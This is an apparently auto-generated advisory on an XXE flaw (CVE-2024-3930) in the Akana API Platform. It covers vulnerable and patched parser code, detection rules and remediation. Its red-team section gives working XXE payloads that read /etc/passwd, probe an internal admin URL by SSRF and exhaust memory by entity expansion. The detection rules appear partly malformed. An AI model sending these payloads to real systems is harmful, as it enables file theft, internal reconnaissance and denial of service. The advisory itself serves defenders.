CVE-2024-3930

Executive Summary

CVE-2024-3930 is an XML External Entity (XXE) vulnerability in the Akana API Platform prior to version 2024.1.0. This flaw allows an unauthenticated attacker to exploit XML parsing functionality, potentially leading to disclosure of internal files, denial of service, or server-side request forgery (SSRF). The vulnerability has a CVSS score of 6.3 (Medium) and currently has no known public proof-of-concept or exploit code. The vendor has released a fix in version 2024.1.0, but patch status for older versions remains unknown. Given the low EPSS score (0.0%), active exploitation is unlikely at this time, but the risk increases as more details emerge.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited file disclosure possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Potential for denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and potential for internal network reconnaissance make this a significant risk for exposed instances.

Deep Dive & Mechanics

The vulnerability resides in the XML parsing engine of the Akana API Platform. When the platform processes XML data from API requests or configuration files, it fails to disable external entity resolution. An attacker can craft a malicious XML payload containing an external entity reference that points to a local file (e.g., file:///etc/passwd) or an internal resource (e.g., http://internal-server/). The parser then resolves this entity, allowing the attacker to read sensitive files or perform SSRF attacks.

Key Technical Details:

• Vulnerable Component: XML parser used in API request handling or configuration loading.
• Attack Vector: Sending a specially crafted XML payload to an API endpoint that processes XML input.
• Impact: File disclosure (e.g., configuration files, credentials), SSRF (e.g., scanning internal networks), or denial of service (e.g., via entity expansion).
• Root Cause: The XML parser is configured with external entity processing enabled by default.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2024.1.0):

// Example of vulnerable XML parsing
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));
// No disabling of external entities

Patched Code (2024.1.0+):

// Example of patched XML parsing
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));

The patch explicitly disables DOCTYPE declarations and external entity processing, preventing XXE attacks.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable Akana API Platform instance (version < 2024.1.0) in a controlled environment.
2. Identify an API endpoint that accepts XML input (e.g., /api/v1/process).
3. Use a tool like Burp Suite or curl to send malicious payloads.

Exploitation Steps:

1. File Disclosure: Send a POST request with the following XML payload:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <root>&xxe;</root>
   

2. SSRF: Use an external entity to probe internal services:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
   ]>
   <root>&xxe;</root>
   

3. Denial of Service (Billion Laughs):

   <?xml version="1.0"?>
   <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   ]>
   <root>&lol3;</root>
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords in API request bodies.
2. Look for outbound connections from the API server to unexpected internal IPs or ports.
3. Check for unusual file read attempts (e.g., /etc/passwd, /proc/self/environ).

Response:

1. Isolate the affected server immediately.
2. Review logs for any successful exploitation attempts.
3. Apply the patch or upgrade to version 2024.1.0.
4. Conduct a forensic analysis to determine if data was exfiltrated.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the API server.
  • HTTP requests containing <!DOCTYPE or <!ENTITY in the body.
  • Unusual DNS queries for internal hostnames.

• File IOCs:

  • Presence of /etc/passwd or other sensitive files in API responses.
  • Log entries showing XML parsing errors or entity expansion warnings.

• System IOCs:

  • Unexpected processes reading local files (e.g., cat /etc/shadow).
  • High CPU or memory usage due to entity expansion attacks.

Detection Engineering

YARA Rule

rule CVE_2024_3930_XXE_Detection {
    meta:
        description = "Detects XML External Entity (XXE) payloads targeting CVE-2024-3930"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3930"
    strings:
        $xxe1 = "<!DOCTYPE" ascii nocase
        $xxe2 = "<!ENTITY" ascii nocase
        $xxe3 = "SYSTEM" ascii nocase
        $xxe4 = "file://" ascii nocase
        $xxe5 = "http://" ascii nocase
    condition:
        all of ($xxe1, $xxe2, $xxe3) or ($xxe1, $xxe2, $xxe4) or ($xxe1, $xxe2, $xxe5)
}

Sigma Rule

title: CVE-2024-3930 XXE Attempt Detection
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects XML External Entity (XXE) attack attempts against Akana API Platform
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
            - 'file://'
    condition: selection
falsepositives:
    - Legitimate XML processing with external entities (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3930 XXE Attempt Detected"; flow:to_server; content:"<!DOCTYPE"; http_client_body; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update to Akana API Platform version 2024.1.0 or later.
2. Workaround: If upgrading is not possible, disable external entity processing in the XML parser configuration (see patched code example).
3. Network Segmentation: Restrict outbound connections from the API server to only necessary services.
4. Input Validation: Implement strict XML schema validation and reject any XML containing DOCTYPE declarations.

Long-Term Measures:

1. Secure Configuration: Ensure all XML parsers in the environment are configured securely (disable external entities, DTDs).
2. Regular Audits: Conduct periodic security reviews of API endpoints and XML processing logic.
3. Monitoring: Deploy detection rules (YARA, Sigma, Suricata) to identify XXE attempts.
4. Patch Management: Establish a process for timely application of security patches.

Valters IT signature: This report is generated for educational and defensive purposes. Always follow responsible disclosure practices.